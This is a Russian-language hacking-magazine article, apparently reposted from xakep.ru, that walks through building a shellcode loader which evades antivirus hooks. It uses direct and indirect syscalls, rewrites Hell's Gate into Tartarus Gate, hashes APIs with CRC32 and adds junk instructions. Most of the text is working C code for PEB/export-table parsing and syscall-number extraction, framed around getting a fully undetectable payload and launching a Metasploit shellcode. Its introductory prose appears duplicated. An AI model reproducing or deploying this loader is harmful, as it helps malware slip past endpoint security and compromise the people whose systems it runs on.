Хочешь узнать, как обойти антивирусные программы с помощью системных вызовов? Мы раскроем секреты этой захватывающей техники, перепишем известный инструмент, попрограммируем на ассемблере и поищем паттерны в памяти, чтобы получить FUD-пейлоад!
Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру.
Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр eax, после чего выполняется инструкция syscall, которая осуществляет переход в режим ядра.
Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции syscall. Например, как на следующем скриншоте.
Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию syscall из адресного пространства своего процесса, такая техника называется Direct Syscall. Мы даже можем обращаться к инструкции syscall, найдя ее адрес в смапленной в наш процесс библиотеке ntdll.dll (такая техника называется Indirect Syscall). Проблема лишь одна — нужен SSN. Без номера сискола, сохраненного в регистре eax, ничего не получится.
Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate.
Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес ntdll.dll, программа достает адреса TEB (Thread Environment Block), за ним PEB (Process Environment Block). А после извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.dll.
Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT (Export Address Table). В этой таблице содержатся адреса всех экспортируемых из библиотеки функций.
После успешного получения всех адресов идет инициализация специальной структуры — структуры VX_TABLE.
Таблица VX_TABLE состоит из других структур VX_TABLE_ENTRY. Внутри них будут заполнены элементы pAddress, dwHash и wSystemCall, которые отвечают соответственно за адрес нужной функции, хеш от имени функции (он потребуется для API Hashing) и номера системного вызова.
Для обнаружения сискола используется функция GetVxTableEntry(), но перед этим предварительно инициализируется элемент dwHash описанной выше структуры. Хеш рассчитывается заранее. Для этого используется алгоритм djb2, вынесенный в отдельную функцию.
GetVxTableEntry() парсит EAT и обнаруживает адрес нужной функции с помощью API Hashing.
После обнаружения нужной функции ее адрес записывается в таблицу, а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн, характерный для вызова сискола.
Для этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
Если паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например 10F. В дизассемблере увидим интересную картину.
Инструкция, сохраняющая номер сискола в регистр eax, выглядит вроде бы нормально, но если мы посмотрим внимательнее, то увидим, что номер сискола представлен как бы в перевернутом виде.
Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы с использованием специального алгоритма.
Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что в high попадает «верхняя» часть, а в low — «нижняя».
Соответственно, если алгоритм вычленяет SSN 10F, то переменные инициализируются как 0x1 и 0xF.
В wSystemmCall заносится значение high со сдвигом влево на 8 байт. Это приводит к получению из 0000 0001 значения 1 0000 0000. Следующим шагом выполняется побитовая операция ИЛИ со значением 0000 1111 (0xF в двоичной системе счисления), в результате мы получаем 1 0000 1111. А это, в свою очередь, равно 10F. 10F как раз и есть номер сискола.
Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды.
Конечно, можно было просто поменять SEED-значение и рассчитываемый хеш в функции djb2(), но мы все‑таки решили полноценно переписать инструмент, а не баловаться, меняя переменные.
Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу для пересчета хешей от нужных нам функций.
Для инициализации достаточно один раз вызвать функцию InitNtdllConfigStructure().
Саму функцию GetVxTableEntry() следует переименовать в FetchNtSyscall(). Мы оставим всего два параметра: dwSysHash (хеш‑значение от имени функции, которую нужно засисколить) и pNtSys — указатель на структуру NT_SYSCALL, которая будет содержать всю необходимую информацию для осуществления сискола.
Функцию InitNtdllConfigStructure() следует вызывать из функции FetchNtSyscall(). Предлагаю просто проверять, инициализирован ли элемент, содержащий базовый адрес загрузки ntdll.dll. Если нет, то вызываем функцию, если этот элемент уже имеет какое‑то значение, то вызов не требуется. Алгоритм для поиска сискола пока что не меняем.
Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
В х64dbg нагло тыкаем «Ассемблировать» и меняем одну инструкцию на другую.
Теперь номер сискола достать не получится. Тем не менее не стоит отчаиваться, так как проблема эта известная и умные люди придумали пути решения — Halo’s Gate и Tartarus Gate. Оба этих алгоритма поиска номера сискола основываются на том, что эти самые номера инкрементируются. Если у одной функции номер сискола 1, то у следующей за ней номер 2.
Таким образом, зная номер сискола одной функции, можно без проблем достать номера сисколов следующих за ней функций. Дополнительно в алгоритме используется такая особенность: разница между сохраняющими номера сисколов инструкциями составляет 32 бита (0x...F283 – 0x...F263 = 0x20). Это значение хранится в переменных GoUp и GoDown соответственно.
С помощью этого алгоритма Halo’s Gate проверяет также наличие хука — если встречается инструкция jmp, то хук явно присутствует, поэтому начинается процедура получения номера нехукнутого сискола.
Не сказать, что идея неправильная. Думаю, вполне логично таким образом проверять хуки. Тем не менее теория имеет изъяны: что, если инструкция jmp стоит, скажем, после сохранения номера сискола? Либо просто где‑то до инструкции syscall? Например, следующий код пройдет проверку сканирования памяти (нужные опкоды будут обнаружены), но номер сискола вычленить не получится.
Поэтому был придуман Tartarus Gate. Этот алгоритм дополнительно проверяет и последующий (четвертый) байт на наличие инструкции jmp. Если этот байт равен e9, то выполняется стандартная процедура по алгоритму Halo’s Gate с нахождением номера нехукнутого сискола и последующим восстановлением всей цепочки.
Я предлагаю использовать Tartarus Gate в нашей функции FetchNtSyscall() для вычленения номера сискола. В код функции добавится алгоритм Halo’s Gate и проверка следующего байта на наличие инструкции jmp.
В функции HellsGate выполняется сохранение номера сискола, а в HellsDescent — вызов нужной функции. В языке C к этим функциям можно обратиться, объявив внешние функции (ключевое слово — extern).
Обрати внимание: если бы ты захотел переписать код на C++, то потребовалось бы изменить объявление функции HellDescent, так как в C++ каждая функция должна иметь явное указание на то, что она возвращает.
Предлагаю добавить чуть‑чуть обфускации, то есть разбавить эти ассемблерные инструкции чем‑нибудь еще. Сначала попробуем имена функций HellsGate и HellsDescent заменить SetSSn и RunSyscall.
Теперь нужно внести изменения, которые никак не отразятся на логике выполнения программы. Добавим парочку «мусорных» инструкций.
Итак, в функции SetSSn сначала мы ксорим регистры друг с другом, что приводит к обнулению находящегося в них значения. Полученное значение записываем в переменную, которая будет содержать номер сискола, перекидываем из одного регистра в другой и, наконец, записываем нужный SSN в переменную.
Функция RunSyscall особо ничем не отличается — в ней лишь была добавлена метка.
Инициализацию этой структуры вновь выносим в отдельную функцию InitializeNtSyscalls().
Здесь NtAllocateVirtualMemory_CRC32, NtProtectVirtualMemory_CRC32 и тому подобные — значения, которые были сгенерированы ранее с помощью программы‑хешера.
В результате наших манипуляций главная функция main() приобретает следующий вид.
Метод выполнения шелл‑кода я не менял, оставил стандартный NtCreateThreadEx(). Итак, пора проверять на антивирусах!
Результат не может не радовать. Теперь изменяем шелл‑код, будем запускать Metasploit.
По умолчанию эта инструкция присутствует только в файле ntdll.dll. Поэтому предлагаю переделать нашу программу под Indirect Syscalls. Реализация через косвенные вызовы заключается в том, что в нашем коде будет отсутствовать вызов инструкции syscall. Вместо этого мы собственноручно обнаружим адрес этой инструкции в ntdll.dll, а затем обратимся к нему, что спровоцирует вызов и переход в Kernel Mode.
Сначала изменяем структуру NT_SYSCALL, теперь в ней еще будет лежать и адрес инструкции syscall.
Следующим шагом изменим функцию FetchNtSyscall(), добавив в нее возможность поиска адреса инструкции syscall в адресном пространстве ntdll.dll. Поиск вновь делаем по паттернам в памяти. Нам требуется найти 0x0f и 0x05, что соответствует нужной инструкции.
Для поиска предлагаю использовать алгоритм по добавлению к адресу функции в ntdll значения 0xFF. Этот адрес, если что, на момент поиска инструкции syscall будет лежать в pSyscallAddress.
Этот код добавляем в конец функции FetchNtSyscalls().
Затем следует изменить ассемблерный код, а именно функции SetSSn и RunSyscall. Раньше SetSSn требовал только SSN системного вызова, а затем использовал RunSyscall для его выполнения. Теперь в SetSSn передается еще и значение qSyscallInsAdress — адрес инструкции syscall.
Из регистров ecx и rdx, которые инициализируются при вызове функции, копируются номер сискола и адрес. А затем в функции RunSyscall() мы заносим номера сискола в реестр eax и переходим по адресу инструкции syscall, что приводит к выполнению Indirect-сискола.
Ну и чуть‑чуть обфусцируем наше творение.
Чтобы каждый раз не указывать элементы структуры NT_SYSCALL, можно написать макрос, который автоматически дернет SetSSn с нужными параметрами, если ему передадут экземпляр структуры.
В результате получаем элегантный кусок кода.
Все нужные функции будут по‑прежнему храниться в структуре NTAPI_FUNC, надо лишь чуть поправить инициализирующую функцию InitializeNtSyscalls().
И финальное — main():
Поздравляю, мы добились желаемого результата!
Автор MichelleVermishelle
источник xakep.ru
ЧТО ТАКОЕ SYSCALL
Многие антивирусные продукты (да и некоторые программы) любят ставить хуки. Я уже показывал вариант обхода хуков в User Mode через перезапись библиотеки ntdll.dll. Теперь изучим еще один способ обхода ловушек — через сисколы.Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру.
Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр eax, после чего выполняется инструкция syscall, которая осуществляет переход в режим ядра.
Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции syscall. Например, как на следующем скриншоте.
Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию syscall из адресного пространства своего процесса, такая техника называется Direct Syscall. Мы даже можем обращаться к инструкции syscall, найдя ее адрес в смапленной в наш процесс библиотеке ntdll.dll (такая техника называется Indirect Syscall). Проблема лишь одна — нужен SSN. Без номера сискола, сохраненного в регистре eax, ничего не получится.
ТЕХНИКА ПОИСКА SSN
SSN различается от системы к системе. Он зависит от версии Windows. Есть отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вообще не вариант. Поэтому давно придуманы способы динамически доставать номера сисколов, а затем уже с этими номерами выполнять Direct- или Indirect-вызовы.Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate.
Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес ntdll.dll, программа достает адреса TEB (Thread Environment Block), за ним PEB (Process Environment Block). А после извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.dll.
Код:
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
...
}
Код:
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
Код:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Для обнаружения сискола используется функция GetVxTableEntry(), но перед этим предварительно инициализируется элемент dwHash описанной выше структуры. Хеш рассчитывается заранее. Для этого используется алгоритм djb2, вынесенный в отдельную функцию.
Код:
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Код:
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
...
Код:
mov r10,rcx
mov rcx,<syscall number>
Для этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
Код:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
Если паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например 10F. В дизассемблере увидим интересную картину.
Инструкция, сохраняющая номер сискола в регистр eax, выглядит вроде бы нормально, но если мы посмотрим внимательнее, то увидим, что номер сискола представлен как бы в перевернутом виде.
Код:
B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00
Код:
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
Соответственно, если алгоритм вычленяет SSN 10F, то переменные инициализируются как 0x1 и 0xF.
В wSystemmCall заносится значение high со сдвигом влево на 8 байт. Это приводит к получению из 0000 0001 значения 1 0000 0000. Следующим шагом выполняется побитовая операция ИЛИ со значением 0000 1111 (0xF в двоичной системе счисления), в результате мы получаем 1 0000 1111. А это, в свою очередь, равно 10F. 10F как раз и есть номер сискола.
Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды.
ИЗМЕНЕНИЕ АЛГОРИТМА ХЕШИРОВАНИЯ
Начнем с того, что сменим алгоритм djb2 на какой‑нибудь другой, например на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые статик‑детекты, основанные на хешах используемых нами имен WinAPI-функций. Для этого создадим функцию, реализующую логику по хешированию.
Код:
#define SEED 0xEDB88320
...
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
Код:
#define HASH(API) crc32h((char*)API)
Код:
#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
#define HASH(API) crc32h((char*)API)
int main() {
printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
return 0;
}
ИЗМЕНЕНИЕ GETVXTABLEENTRY
Как ты помнишь, функция GetVxTableEntry() используется для получения номера сискола. Проблема в том, что вызывается она далеко не один раз, но при каждом вызове идет повторный расчет всех нужных адресов, что сказывается на эффективности работы программы. Предлагаю завести отдельную структуру NTDLL_CONFIG, внутри которой будут содержаться все эти данные. Их достаточно инициализировать лишь единожды, а затем можно просто обращаться к ним.
Код:
typedef struct _NTDLL_CONFIG
{
PDWORD pdwArrayOfAddresses;
PDWORD pdwArrayOfNames;
PWORD pwArrayOfOrdinals;
DWORD dwNumberOfNames;
ULONG_PTR uModule;
}NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная, которая будет все это хранить
NTDLL_CONFIG g_NtdllConf = { 0 };
Код:
BOOL InitNtdllConfigStructure() {
// Получение peb
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение ntdll.dll (первый элемент. Нулевой — наша программа)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получение базового адреса загрузки ntdll.dll
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Получение таблицы экспортов
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// Инициализация всех элементов у глобальной переменной
g_NtdllConf.uModule = uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
Код:
typedef struct _NT_SYSCALL
{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
}NT_SYSCALL, *PNT_SYSCALL;
Код:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
while (TRUE) {
...тут алгоритм поиска сискола...
}
cw++;
}
break;
}
}
// Если что-то не инициализировалось, то все плохо
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
ИЗМЕНЕНИЕ ЛОГИКИ ПОИСКА СИСКОЛА
Hell’s Gate — один из простейших способов нахождения сискола. Проблема в том, что он просто пробегает по памяти в одном направлении, пытаясь обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко говоря, не самый рабочий. Что мешает антивирусному продукту внести некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сломать поиск Hell’s Gate.Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
Код:
0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00
В х64dbg нагло тыкаем «Ассемблировать» и меняем одну инструкцию на другую.
Код:
0x4c 0x8b 0xd1 [ ВОТ ТУТ ПОИСК ЛОМАЕТСЯ ] 0xb9 ... 0x00 0x00
Таким образом, зная номер сискола одной функции, можно без проблем достать номера сисколов следующих за ней функций. Дополнительно в алгоритме используется такая особенность: разница между сохраняющими номера сисколов инструкциями составляет 32 бита (0x...F283 – 0x...F263 = 0x20). Это значение хранится в переменных GoUp и GoDown соответственно.
С помощью этого алгоритма Halo’s Gate проверяет также наличие хука — если встречается инструкция jmp, то хук явно присутствует, поэтому начинается процедура получения номера нехукнутого сискола.
Код:
int GoUp -32;
int GoDown 32;
// Если первая инструкция — jmp
if (*((PBYTE)pFunctionAddress) == 0xe9) {
// Идем вверх и вниз в поиске номера сискола
for (WORD index = 1; index <= 500; index++) {
// Идем вниз, ищем паттерн
if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
// Паттерн найден, заносим номер сискола
pVxTableEntry->wSystemCall = (high << 8) | low - index;
return TRUE;
}
// Идем вверх, ищем паттерн
if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
// Паттерн найден, заносим номер сискола
pVxTableEntry->wSystemCall = (high << 8) | low + index;
return TRUE;
}
}
Поэтому был придуман Tartarus Gate. Этот алгоритм дополнительно проверяет и последующий (четвертый) байт на наличие инструкции jmp. Если этот байт равен e9, то выполняется стандартная процедура по алгоритму Halo’s Gate с нахождением номера нехукнутого сискола и последующим восстановлением всей цепочки.
Я предлагаю использовать Tartarus Gate в нашей функции FetchNtSyscall() для вычленения номера сискола. В код функции добавится алгоритм Halo’s Gate и проверка следующего байта на наличие инструкции jmp.
Код:
#define UP -32
#define DOWN 32
#define RANGE 500
...
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
pNtSys->pSyscallAddress = pFuncAddress;
if (HASH(pcFuncName) == dwSysHash) {
if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5);
BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low;
break;
}
// Halo’s Gate
if (*((PBYTE)pFuncAddress) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// Идем вниз
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// Идем вверх
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}
// Tartarus Gate
if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// Идем вниз
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// Идем вверх
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}
break;
}
}
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
ИЗМЕНЕНИЕ ASM-ФАЙЛА
В проекте Hell’s Gate присутствует и файл на ассемблере.
Код:
.data
